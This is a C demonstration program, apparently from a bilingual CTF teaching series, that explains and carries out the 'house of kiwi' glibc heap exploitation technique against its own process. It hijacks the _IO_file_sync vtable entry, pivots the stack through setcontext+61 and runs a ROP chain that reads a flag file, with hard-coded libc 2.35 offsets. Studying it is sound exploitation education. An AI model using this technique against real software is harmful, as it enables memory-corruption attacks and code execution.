1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/mman.h> #include <linux/filter.h> #include <linux/seccomp.h> #define pop_rdi_ret libc_base + 0x000000000002a3e5 #define pop_rdx_r12 libc_base + 0x000000000011f497 #define pop_rsi_ret libc_base + 0x000000000002be51 #define pop_rax_ret libc_base + 0x0000000000045eb0 #define syscall_ret libc_base + 0x0000000000091396 #define ret pop_rdi_ret+1 size_t libc_base; size_t ROP[0x30]; char FLAG[0x100] = "./flag\x00";
int main() { setvbuf(stdin,0LL,2,0LL); setvbuf(stdout,0LL,2,0LL); puts("\033[32mHello there! Today let's learn something about house of kiwi.\033[0m"); puts("\033[32m本程序演示house of kiwi的利用流程。\033[0m"); puts("\033[1;32mModified from demo in https://www.anquanke.com/post/id/235598.\033[0m"); puts("\033[1;32m改编自https://www.anquanke.com/post/id/235598的demo程序。\033[0m"); puts("\033[1;31mTested in Ubuntu 22.04, glibc version: Ubuntu GLIBC 2.35-0ubuntu3.1\033[0m"); puts("\033[1;31m测试环境:Ubuntu 22.04,glibc版本为2.35-0ubuntu3.1\033[0m"); puts("\033[32mFirst let's make clear how to exploit.\033[0m"); puts("\033[32m首先让我们搞清楚这种利用方式是如何工作的。\033[0m"); puts("\033[32mSame as house of emma, house of kiwi has a stable call chain.\033[0m"); puts("\033[32m与house of emma相同,house of kiwi有一条稳定的函数调用链。\033[0m"); puts("\033[32mIt started with function sysmalloc, which can be triggered when we need top chunk.\033[0m"); puts("\033[32m这条调用链开始于sysmalloc函数,可以通过向top chunk分配chunk来触发该函数。\033[0m"); puts("\033[32mIn function sysmalloc, there is a check for page alignment of top chunk: \n\033[0m"); puts("\033[32m在函数sysmalloc中,有一个检查top chunk页对齐的代码片段: \033[0m"); puts("\033[33m(line 2617, /malloc/malloc.c)\033[0m"); puts("\033[34m assert ((old_top == initial_top (av) && old_size == 0) ||\n" " ((unsigned long) (old_size) >= MINSIZE &&\n" " prev_inuse (old_top) &&\n" " ((unsigned long) old_end & (pagesize - 1)) == 0));\n\033[0m"); puts("\033[32mThe function assert here in malloc.c is a bit different from that in other file.\033[0m"); puts("\033[32m这个malloc.c中的assert函数与其他文件中的函数不太一样。\033[0m"); puts("\033[32mBecause in malloc.c there is a #define statement: \033[0m"); puts("\033[32m因为在malloc.c中有一个#define语句: \n\033[0m"); puts("\033[33m(line 292, /malloc/malloc.c)\033[0m"); puts("\033[34m# define __assert_fail(assertion, file, line, function)\t\t\t\\\n" "\t __malloc_assert(assertion, file, line, function)\n\033[0m"); puts("\033[32mSo that if the assertion in malloc.c failed, it will call function __malloc_assert.\033[0m"); puts("\033[32m所以如果这个检查失败了,那么它就会调用__malloc_assert.\033[0m");
puts("\033[32mThe content of function __malloc_assert is: \033[0m"); puts("\033[32m__malloc_assert函数的内容为: \033[0m"); puts("\033[33m(line 297, /malloc/malloc.c)\033[0m"); puts("\033[34mstatic void\n" "__malloc_assert (const char *assertion, const char *file, unsigned int line,\n" "\t\t const char *function)\n" "{\n" " (void) __fxprintf (NULL, \"%s%s%s:%u: %s%sAssertion `%s' failed.\\n\",\n" "\t\t __progname, __progname[0] ? \": \" : \"\",\n" "\t\t file, line,\n" "\t\t function ? function : \"\", function ? \": \" : \"\",\n" "\t\t assertion);\n" " fflush (stderr);\n" " abort ();\n" "}\033[0m\n"); puts("\033[32mWhile in function fflush, it will jump to a function, and that is our chance.\033[0m"); puts("\033[32m函数fflush中会跳转到另一个函数,这就是我们利用的机会。\033[0m"); puts("\033[32mLet's have a look at function fflush:\033[0m"); puts("\033[32m让我们看一下fflush的内容:\033[0m"); puts("\033[33m(line 33, /assert/assert.c)\033[0m"); puts("\033[34m#define fflush(s) _IO_fflush (s)\033[0m"); puts("\033[33m(line 30, /libio/iofflush.c)\033[0m"); puts("\033[34mint\n" "_IO_fflush (FILE *fp)\n" "{\n" " if (fp == NULL)\n" " return _IO_flush_all ();\n" " else\n" " {\n" " int result;\n" " CHECK_FILE (fp, EOF);\n" " _IO_acquire_lock (fp);\n" " \033[1;31mresult = _IO_SYNC (fp) ? EOF : 0;\033[34m\n" " _IO_release_lock (fp);\n" " return result;\n" " }\n" "}\033[0m");
puts("\033[32mPlease pay attention to the red code, here is its disassembly result:\033[0m"); puts("\033[32m注意标红的代码,下面是这段代码的反汇编结果(pwndbg调试界面部分截取)\033[0m"); puts("\033[34m 0x7ffff7e00208 <__GI__IO_fflush+88>:\t\033[1;31mlea rdx,[rip+0x1967f1] # 0x7ffff7f96a00 <_IO_helper_jumps>\033[34m\n" " 0x7ffff7e0020f <__GI__IO_fflush+95>:\tlea rax,[rip+0x197552] # 0x7ffff7f97768\n" " 0x7ffff7e00216 <__GI__IO_fflush+102>:\tsub rax,rdx\n" " 0x7ffff7e00219 <__GI__IO_fflush+105>:\tmov rcx,rbp\n" " 0x7ffff7e0021c <__GI__IO_fflush+108>:\tsub rcx,rdx\n" " 0x7ffff7e0021f <__GI__IO_fflush+111>:\tcmp rax,rcx\n" " 0x7ffff7e00222 <__GI__IO_fflush+114>:\tjbe 0x7ffff7e00268 <__GI__IO_fflush+184>\n" " 0x7ffff7e00224 <__GI__IO_fflush+116>:\tmov rdi,rbx\n" " 0x7ffff7e00227 <__GI__IO_fflush+119>:\t\033[1;31mcall QWORD PTR [rbp+0x60]\033[34m\n" " 0x7ffff7e0022a <__GI__IO_fflush+122>:\tneg eax\n" " 0x7ffff7e0022c <__GI__IO_fflush+124>:\tsbb r12d,r12d\n" " 0x7ffff7e0022f <__GI__IO_fflush+127>:\ttest DWORD PTR [rbx],0x8000\n" " 0x7ffff7e00235 <__GI__IO_fflush+133>:\tjne 0x7ffff7e00258 <__GI__IO_fflush+168>\n" " 0x7ffff7e00237 <__GI__IO_fflush+135>:\tmov rdi,QWORD PTR [rbx+0x88]\n" " 0x7ffff7e0023e <__GI__IO_fflush+142>:\tmov eax,DWORD PTR [rdi+0x4]\n" " 0x7ffff7e00241 <__GI__IO_fflush+145>:\tsub eax,0x1\n" " 0x7ffff7e00244 <__GI__IO_fflush+148>:\tmov DWORD PTR [rdi+0x4],eax\n" " 0x7ffff7e00247 <__GI__IO_fflush+151>:\tjne 0x7ffff7e00258 <__GI__IO_fflush+168>\n" " 0x7ffff7e00249 <__GI__IO_fflush+153>:\tmov QWORD PTR [rdi+0x8],0x0\n\033[0m");
puts("\033[32mAs you can see, it calls [rbp+0x60], let's execute the code until there...\033[0m"); puts("\033[32m可以看到这里call了[rbp+0x60],我们调试到这里看一下rbp的值...\033[0m"); puts("\033[1;33m R14 0x1000\n" " R15 0xff\n" "*RBP 0x7ffff7f97600 (_IO_file_jumps) ◂— 0x0\n" "*RSP 0x7fffffffdc60 —▸ 0x7ffff7f9ac80 (main_arena) ◂— 0x0\n" "*RIP 0x7ffff7e00227 (fflush+119) ◂— call qword ptr [rbp + 0x60]\n\033[0m"); puts("\033[32mThe rbp points to a struct called _IO_file_jumps, let's see what it looks like in IDA:\033[0m"); puts("\033[32mrbp指向了一个名为_IO_file_jumps的结构,看一下它在IDA中的内容:\033[0m"); puts("\033[34m__libc_IO_vtables:0000000000216600 _IO_file_jumps dq 0 ; DATA XREF: LOAD:0000000000014598↑o\n" "__libc_IO_vtables:0000000000216600 ; sub_29CA0+B↑o ...\n" "__libc_IO_vtables:0000000000216608 dq 0\n" "__libc_IO_vtables:0000000000216610 dq offset _IO_file_finish\n" "__libc_IO_vtables:0000000000216618 dq offset _IO_file_overflow\n" "__libc_IO_vtables:0000000000216620 dq offset _IO_file_underflow\n" "__libc_IO_vtables:0000000000216628 dq offset _IO_default_uflow\n" "__libc_IO_vtables:0000000000216630 dq offset _IO_default_pbackfail\n" "__libc_IO_vtables:0000000000216638 dq offset _IO_file_xsputn\n" "__libc_IO_vtables:0000000000216640 dq offset sub_8B330\n" "__libc_IO_vtables:0000000000216648 dq offset _IO_file_seekoff\n" "__libc_IO_vtables:0000000000216650 dq offset sub_8E530\n" "__libc_IO_vtables:0000000000216658 dq offset _IO_file_setbuf\n" "\033[1;31m__libc_IO_vtables:0000000000216660 dq offset _IO_file_sync\033[34m\n" "__libc_IO_vtables:0000000000216668 dq offset _IO_file_doallocate\n" "__libc_IO_vtables:0000000000216670 dq offset _IO_file_read\n" "__libc_IO_vtables:0000000000216678 dq offset _IO_file_write\n" "__libc_IO_vtables:0000000000216680 dq offset _IO_file_seek\n" "__libc_IO_vtables:0000000000216688 dq offset _IO_file_close\n" "__libc_IO_vtables:0000000000216690 dq offset _IO_file_stat\n" "__libc_IO_vtables:0000000000216698 dq offset sub_8F4A0\n" "__libc_IO_vtables:00000000002166A0 dq offset sub_8F4B0\n" "__libc_IO_vtables:00000000002166A8 align 20h\033[0m");
puts("\033[32mSo it actually calls the function _IO_file_sync.\033[0m"); puts("\033[32m因此这里实际上是在调用_IO_file_sync函数。\033[0m"); puts("\033[32mHouse of kiwi just changed the value there to anywhere we want.\033[0m"); puts("\033[32mhouse of kiwi实际上就是将这里的值进行修改。\033[0m"); puts("\033[32mIn CTF problems, we usually changed it into setcontext+61 to trigger stack pivoting.\033[0m"); puts("\033[32m在CTF赛题中,我们一般将这里的值修改为setcontext+61来触发栈迁移。\033[0m"); puts("\033[32mBut there is one thing to notice, if you use command 'vmmap' in pwndbg,\033[0m"); puts("\033[32m但这里有一点需要注意,如果在pwndbg中使用vmmap命令,\033[0m"); puts("\033[32mYou will find that the page where _IO_file_jumps is located in was not able to write.\033[0m"); puts("\033[32m你会发现_IO_file_jumps所在的页并不具有写权限(这一点笔者在其他有关house of kiwi的文章中并没有找到原因,不知为何)\033[0m"); puts("\033[32mSo we had better change the privilege of that page through function mprotect().\033[0m"); puts("\033[32m因此我们最好使用mprotect函数来修改一下这一页的访问权限。\033[0m\n"); puts("\033[32mThen, let's have a look at rdx, which is a key register for stack pivoting.\033[0m"); puts("\033[32m然后我们注意一下rdx寄存器的值,这是我们进行栈迁移的关键寄存器。\033[0m"); puts("\033[32mHave a look at disassembly result of function setcontext: \033[0m"); puts("\033[32m看一下setcontext函数的汇编: \033[0m"); puts("\033[34m.text:0000000000053A6D \033[1;31mmov rsp, [rdx+0A0h]\033[34m\n" ".text:0000000000053A74 mov rbx, [rdx+80h]\n" ".text:0000000000053A7B mov rbp, [rdx+78h]\n" ".text:0000000000053A7F mov r12, [rdx+48h]\n" ".text:0000000000053A83 mov r13, [rdx+50h]\n" ".text:0000000000053A87 mov r14, [rdx+58h]\n" ".text:0000000000053A8B mov r15, [rdx+60h]\n" ".text:0000000000053A8F test dword ptr fs:48h, 2\n" ".text:0000000000053A9B jz loc_53B56\n" "\t\t\t......\n" ".text:0000000000053B56 \033[1;31mmov rcx, [rdx+0A8h]\033[34m\n" ".text:0000000000053B5D \033[1;31mpush rcx\033[34m\n" ".text:0000000000053B5E mov rsi, [rdx+70h]\n" ".text:0000000000053B62 mov rdi, [rdx+68h]\n" ".text:0000000000053B66 mov rcx, [rdx+98h]\n" ".text:0000000000053B6D mov r8, [rdx+28h]\n" ".text:0000000000053B71 mov r9, [rdx+30h]\n" ".text:0000000000053B75 mov rdx, [rdx+88h]\n" ".text:0000000000053B75 ; } // starts at 53A30\n" ".text:0000000000053B7C ; __unwind {\n" ".text:0000000000053B7C xor eax, eax\n" ".text:0000000000053B7E retn\033[0m"); puts("\033[32mYou can see the rsp was changed into [rdx+0xA0]\033[0m"); puts("\033[32m你可以看到rsp被修改为[rdx+0xA0]的值。\033[0m"); puts("\033[32mWhen calling _IO_file_sync, the value of rdx is actually the address of _IO_helper_jumps.\033[0m"); puts("\033[32m在call _IO_file_sync时,rdx的值实际上是_IO_helper_jumps的地址。\033[0m"); puts("\033[32mThis value is stable and it's right above _IO_file_jumps:\033[0m"); puts("\033[32m这个值是稳定不变的,实际上这个结构体的地址就在_IO_file_jumps前面一点:\033[0m"); puts("\033[34m__libc_IO_vtables:0000000000215A00 qword_215A00 dq 0 ; DATA XREF: sub_45390+1A3↑o\n" "__libc_IO_vtables:0000000000215A00 ; sub_5A980+1643↑o ...\n" "__libc_IO_vtables:0000000000215A08 dq 0\n" "__libc_IO_vtables:0000000000215A10 dq offset _IO_default_finish\n" "__libc_IO_vtables:0000000000215A18 dq offset sub_722E0\n" "__libc_IO_vtables:0000000000215A20 dq offset sub_8DDD0\n" "__libc_IO_vtables:0000000000215A28 dq offset _IO_default_uflow\n" "......\033[0m\n");
puts("\033[32mSo that we need to change the value of [rdx+0xA0] and [rdx+0xA8] to complete ROP chain.\033[0m"); puts("\033[32m因此我们需要修改[rdx+0xA0]和[rdx+0xA8]的值来构建ROP链。\n\033[0m");
puts("\033[32mNow we are going to have a try.\033[0m"); puts("\033[32m现在就让我们来演示一下。\033[0m"); puts("\033[32mFirst we get the libc base through function setvbuf, which has the offset of 0x81670 in this libc.\033[0m"); puts("\033[32m首先我们通过setvbuf函数获取libc加载基址,setvbuf函数在本libc中的偏移为0x81670。\033[0m");
libc_base = ((size_t)setvbuf) - 0x81670; printf("\033[1;31mLIBC: %#lx\n\033[0m", libc_base);
printf("\033[32mThen we use mprotect function to add write privilege in address %p to %p.\n\033[0m", (void*)(libc_base + 0x215000), (void*)(libc_base + 0x217000)); printf("\033[32m然后我们将 %p 到 %p 的地址空间添加写权限。\n\033[0m", (void*)(libc_base + 0x215000), (void*)(libc_base + 0x217000)); mprotect((void*)(libc_base + 0x215000), 0x2000, PROT_READ | PROT_WRITE);
size_t magic_gadget = libc_base + 0x53A30 + 61; printf("\033[1;32mThen we get address of setcontext+61, which has offset of 0x53A30 + 61: %#zx\n\033[0m", magic_gadget); printf("\033[1;32m然后我们获取到setcontext+61的地址,其相对于libc基址的偏移为0x53A30 + 61: %#zx\n\033[0m", magic_gadget); size_t _IO_helper_jumps = libc_base + 0x215A00; printf("\033[1;32mNext is the address of _IO_helper_jumps, which has offset of 0x215A00: %#zx\n\033[0m", _IO_helper_jumps); printf("\033[1;32m接下来是_IO_helper_jumps的地址,其相对于libc基址的偏移为0x215A00: %#zx\n\033[0m", _IO_helper_jumps); size_t _IO_file_sync = libc_base + 0x216660; printf("\033[1;32mNext is the address of _IO_file_sync, which has offset of 0x216660: %#zx\n\033[0m", _IO_file_sync); printf("\033[1;32m接下来是_IO_file_sync的地址,其相对于libc基址的偏移为0x216660: %#zx\n\033[0m", _IO_file_sync);
puts("\033[32mThen let's construct our ROP chain of orw. The ROP chain will be placed in bss segment.\033[0m"); puts("\033[32m然后我们就来构造ROP链,用于orw。ROP链会放在bss段中。\033[0m"); puts("\033[32mUseful gadgets:\033[0m"); puts("\033[32m有用的gadget:(不同libc下的偏移可能不同,如果在不同libc下测试注意修改)\033[0m"); printf("\033[1;31mpop rax ; ret: %#zx\n\033[0m", pop_rax_ret); printf("\033[1;31mpop rdi ; ret: %#zx\n\033[0m", pop_rdi_ret); printf("\033[1;31mpop rsi ; ret: %#zx\n\033[0m", pop_rsi_ret); printf("\033[1;31msyscall ; ret: %#zx\n\033[0m", syscall_ret); printf("\033[1;31mpop rdx ; pop r12 ; ret: %#zx\n\n\033[0m", pop_rdx_r12);
uint32_t i = 0; ROP[i++] = pop_rax_ret; ROP[i++] = 2; ROP[i++] = pop_rdi_ret; ROP[i++] = (size_t)FLAG; ROP[i++] = pop_rsi_ret; ROP[i++] = 0; ROP[i++] = syscall_ret; ROP[i++] = pop_rdi_ret; ROP[i++] = 3; ROP[i++] = pop_rdx_r12; ROP[i++] = 0x100; ROP[i++] = 0; ROP[i++] = pop_rsi_ret; ROP[i++] = (size_t)(FLAG + 0x10); ROP[i++] = (size_t)read; ROP[i++] = pop_rdi_ret; ROP[i++] = 1; ROP[i++] = (size_t)write;
puts("\033[32mROP chain constructed, then we need to change the value of [rdx+0xA0] and [rdx+0xA8].\033[0m"); puts("\033[32mROP链构造完成,下面我们需要修改[rdx+0xA0]和[rdx+0xA8]的值了。\033[0m"); puts("\033[32mWe need to let [_IO_helper_jumps+0xA0] = ROP chain address, and [_IO_helper_jumps+0xA8] = address of instruction \"ret\"\033[0m"); puts("\033[32m我们需要让[_IO_helper_jumps+0xA0]等于ROP链的地址,[_IO_helper_jumps+0xA8]等于一条ret指令的地址。\"ret\"\033[0m"); puts("\033[32mThis is basic knowledge you need to know when using setcontext to pivot your stack.\033[0m"); puts("\033[32m这是使用setcontext进行栈迁移的基本操作。\033[0m"); *((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP; *((size_t*)_IO_helper_jumps + 0xA8/8) = ret; puts("\033[32mThen we let _IO_file_sync pointer = setcontext + 61.\033[0m"); puts("\033[32m然后我们让_IO_file_sync指针的值等于setcontext+61,以触发栈迁移。\033[0m"); *((size_t*)_IO_file_sync) = magic_gadget; puts("\033[32mNext we need to change the size of top chunk to let the assert fail.\033[0m"); puts("\033[32m然后我们修改top chunk的大小让断言失败。\033[0m"); size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18); *top_size = (*top_size)&0xFFE; puts("\033[32mThe last step: malloc a big space.\033[0m"); puts("\033[32m最后一步:malloc一块大空间。\033[0m"); malloc(0x1000); _exit(-1); }
|